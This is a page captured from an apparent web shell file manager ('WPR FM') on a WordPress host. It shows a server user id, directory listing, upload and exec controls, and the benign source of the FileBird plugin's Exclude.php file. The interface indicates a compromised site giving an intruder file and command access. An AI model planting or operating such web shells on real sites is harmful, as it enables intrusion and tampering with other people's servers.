WPR FM
uid=9814(b13i2mwmyrdbxio) php=8.4.28
info
cwd /data/sites/web/b13i2mwmyrdbxio/www |
naik
Buka
-
Api.php
7837
x
D
Attachment/
-
Controller.php
812
x
-
Convert.php
4561
x
-
Exclude.php
915
x
-
Folder.php
36500
x
-
FolderUser.php
1132
x
D
Import/
-
UserSettings.php
2836
x
Upload
Simpan
<?php namespace FileBird\Controller; class Exclude { public function __construct() { add_filter( 'fbv_get_count_where_query', array( $this, 'exclude_get_count_where_query' ), 10, 1 ); } public function exclude_get_count_where_query( $where ) { global $wpdb; if ( function_exists( '_is_elementor_installed' ) ) { $where[] = " posts.ID NOT IN (SELECT post_id FROM {$wpdb->postmeta} WHERE meta_key = '_elementor_is_screenshot') "; } if ( function_exists( 'picu_exclude_collection_images_from_library' ) ) { $where[] = " posts.post_parent NOT IN (SELECT {$wpdb->posts}.ID FROM {$wpdb->posts} WHERE {$wpdb->posts}.post_type = 'picu_collection') "; } if ( function_exists( 'uncode_get_gallery_attachment_ids' ) ) { $media_attachments_ids = implode( ',', uncode_get_gallery_attachment_ids() ); $where[] = "posts.ID NOT IN ($media_attachments_ids)"; } return $where; } }
Exec